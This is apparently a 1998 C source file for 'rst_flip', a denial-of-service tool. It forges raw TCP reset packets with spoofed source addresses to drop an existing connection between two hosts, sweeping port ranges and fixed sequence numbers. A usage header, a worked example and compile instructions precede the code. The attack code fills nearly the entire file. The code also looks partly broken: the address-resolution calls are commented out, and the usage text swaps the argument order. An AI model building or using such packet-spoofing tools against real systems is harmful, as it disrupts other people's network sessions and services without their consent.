/*

	rst_flip  1998(C) 	krypt@enteract.com

	
	This is a DOS attack against an existing connection where one of the hosts is a 
	Linux, SunOS, FreeBSD and possibly others. I did not have time to test 	this code 
	thoroughly.It's purpose is merely to illustrate that it is possible to cause a 
	conenction to be dropped by sending a couple of customized packets to one of the hosts.
	
	The usage is quite simple:
	
	rst_flip <A> <B> <A port low> <A port hi> <B port low> <B port hi>
	where A  and B are the hosts currently having a session and you do not want them to.
	
	To check if your hosts are vulnerable you can use scenario like this:
	Say host A (Windows 10.10.3.21) is connected to port 21 of host B (SunOS - 10.10.1.23). 
	Since it is usually unknown what port A has utilized for this connection
	( it is higher than 1024,most of the time :) we have to consider the possible range.
	So you would do: 
		
		rst_flip 10.10.3.21  10.10.1.23  1024  2000   21  21
	
	I am in no way responsible for whatever happens after this point.
	Do not laugh at the code because i already know that. I'll work on it later.
	It compiles on Linux. 
		
		cc -o rst_flip rst_flip.c
	
			
	Mad thanks to: 		tootin.
	Greets to:		l0ck. 
		
		
*/

#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>

#define TCPHDR   sizeof(struct tcphdr)   	
#define IPHDR    sizeof(struct iphdr)    	
#define PACKETSIZE  TCPHDR + IPHDR
#define SLEEPTIME 30000			 	// 	depending on how fast can you barf the packets out
#define LO_RST  1				//
#define HI_RST  2147483647			// 	do not ask me about this :)
#define ERROR_FAILURE -1
#define ERROR_SUCCESS 0

void resolve_address(struct sockaddr *, char *, u_short);    
unsigned short in_cksum(unsigned short *,int );
int send_rst(char *, char *, u_short ,u_short , u_long, u_long,u_long);



int main(int argc, char *argv[])
{
    int res,i,j;
    int spoof_port,target_port;

    	if (argc < 7 || argc> 8 )	
    	{
		printf ("usage:  <source> <destination> <source_port_hi> <source_port_lo> <dest_port_hi> <dest_port_lo>\n");
		exit(ERROR_FAILURE);
	}
	
	for (i = atoi(argv[3]);i <= atoi(argv[4]); i++)
	{
		spoof_port = i;		

		for (j = atoi(argv[5]);j <= atoi(argv[6]); j++)
		{
    			target_port = j;
			printf("%s : %d \t", argv[1],spoof_port);
			printf("-> %s  :%d\n",argv[2], target_port);
			res=send_rst(argv[1],argv[2],spoof_port,target_port, HI_RST, HI_RST, 2);
			usleep(SLEEPTIME);
			res=send_rst(argv[1],argv[2],spoof_port,target_port, LO_RST,LO_RST, 2);
			usleep(SLEEPTIME);	
		}

    	}	
	return ERROR_SUCCESS;
}
	



// here we put it together 
int send_rst(char *fromhost, char *tohost, u_short fromport,u_short toport, u_long ack_sq, u_long s_seq, u_long spoof_id) 
{
    int i_result;
    int raw_sock;			
    static struct sockaddr_in local_sin, remote_sin; 
    struct tpack{                  
            struct iphdr ip;        
            struct tcphdr tcp;
    }tpack;                
        
    struct pseudo_header{           				// pseudo header 4 the checksum 
            unsigned source_address;
            unsigned dest_address;
            unsigned char placeholder;
            unsigned char protocol;
            unsigned short tcp_length;
            struct tcphdr tcp;
    }pheader;
  	

	// resolve_address((struct sockaddr *)&local_sin, fromhost, fromport);
        // resolve_address((struct sockaddr *)&remote_sin, tohost, toport);
	
	// TCP header
	tpack.tcp.source=htons(fromport);  			// 16-bit Source port number 
        tpack.tcp.dest=htons(toport);				// 16-bit Destination port 
	tpack.tcp.seq=ntohl(s_seq);				// 32-bit Sequence Number */
	tpack.tcp.ack_seq=ntohl(ack_sq);			// 32-bit Acknowledgement Number */
        tpack.tcp.doff=5;					// Data offset */
        tpack.tcp.res1=0;					// reserved */
        tpack.tcp.res2=0;					// reserved */
        tpack.tcp.urg=0;					// Urgent offset valid flag */
        tpack.tcp.ack=1;					// Acknowledgement field valid flag */
        tpack.tcp.psh=0;					// Push flag */
        tpack.tcp.rst=1;					// Reset flag */
        tpack.tcp.syn=0;					// Synchronize sequence numbers flag */
        tpack.tcp.fin=0;					// Finish sending flag */
        tpack.tcp.window=0;					// 16-bit Window size */
        tpack.tcp.check=0;					// 16-bit checksum (to be filled in below) */
        tpack.tcp.urg_ptr=0;					// 16-bit urgent offset */
        
	//  IP header 
	tpack.ip.version=4;             			// 4-bit Version */
        tpack.ip.ihl=5;                				// 4-bit Header Length */
        tpack.ip.tos=0;                 			// 8-bit Type of service */
        tpack.ip.tot_len=htons(IPHDR+TCPHDR);  			// 16-bit Total length */
        tpack.ip.id=htons(spoof_id);    			// 16-bit ID field */
        tpack.ip.frag_off=0;            			// 13-bit Fragment offset */
        tpack.ip.ttl=64;                			// 8-bit Time To Live */
        tpack.ip.protocol=IPPROTO_TCP;  			// 8-bit Protocol */
        tpack.ip.check=0;               			// 16-bit Header checksum (filled in below) */
        tpack.ip.saddr=local_sin.sin_addr.s_addr;  		// 32-bit Source Address */
        tpack.ip.daddr=remote_sin.sin_addr.s_addr; 		// 32-bit Destination Address */
        
        // IP header checksum  
	tpack.ip.check=in_cksum((unsigned short *)&tpack.ip,IPHDR);
                
	// TCP header checksum 
	pheader.source_address=(unsigned)tpack.ip.saddr;
        pheader.dest_address=(unsigned)tpack.ip.daddr;
        pheader.placeholder=0;
        pheader.protocol=IPPROTO_TCP;
        pheader.tcp_length=htons(TCPHDR);

	bcopy((char *)&tpack.tcp,(char *)&pheader.tcp,TCPHDR);
 
	tpack.tcp.check=in_cksum((unsigned short *)&pheader,TCPHDR+12);
        

	// Get a socket and send the thing
	raw_sock = socket(AF_INET, SOCK_RAW, 255);
        if (raw_sock==-1)     
	{  
		perror("can't open a raw socket.");
		exit(ERROR_FAILURE);
        }
			
	i_result = sendto(raw_sock,&tpack,PACKETSIZE,0,(struct sockaddr *)&remote_sin,sizeof(remote_sin));
	if (i_result != PACKETSIZE) 
		perror("error sending packet");  
		
	close(raw_sock);
		
}




// this is stolen :)
unsigned short in_cksum(unsigned short *ptr,int nbytes){
                        
    register long           sum;            // assumes long == 32 bits 
    u_short                 oddbyte;
    register u_short        answer;         // assumes u_short == 16 bits 
                        
        sum = 0;
        while (nbytes > 1)  {
                sum += *ptr++;
                nbytes -= 2;    
        }
                        
        if (nbytes == 1) {
                oddbyte = 0;           			 // make sure top half is zero 
                *((u_char *) &oddbyte) = *(u_char *)ptr; // one byte only 
                sum += oddbyte;
        }               
  
        sum  = (sum >> 16) + (sum & 0xffff);    // add high-16 to low-16 
        sum += (sum >> 16);                     // add carry 
        answer = ~sum;				// ones-complement, then truncate to 16 bits 
        return(answer);
}




//   Resolve the address and populate the sin structs
void resolve_address(struct sockaddr * addr, char *hostname, u_short port) 
{
   struct  sockaddr_in *address;
   struct  hostent     *host;

   	address = (struct sockaddr_in *)addr;
   	(void) bzero( (char *)address, sizeof(struct sockaddr_in) );
   
   	address->sin_family = AF_INET;
   	address->sin_port = htons(port);
   
   	address->sin_addr.s_addr = inet_addr(hostname);
   	if ((int)address->sin_addr.s_addr == -1) {
        	host = gethostbyname(hostname);
        	if (host) {
                	bcopy( host->h_addr, (char *)&address->sin_addr,host->h_length);
                	}
        	else {
                	puts("Couldn't resolve the address!!!");
                	exit(ERROR_FAILURE);
        	}
   	}
}

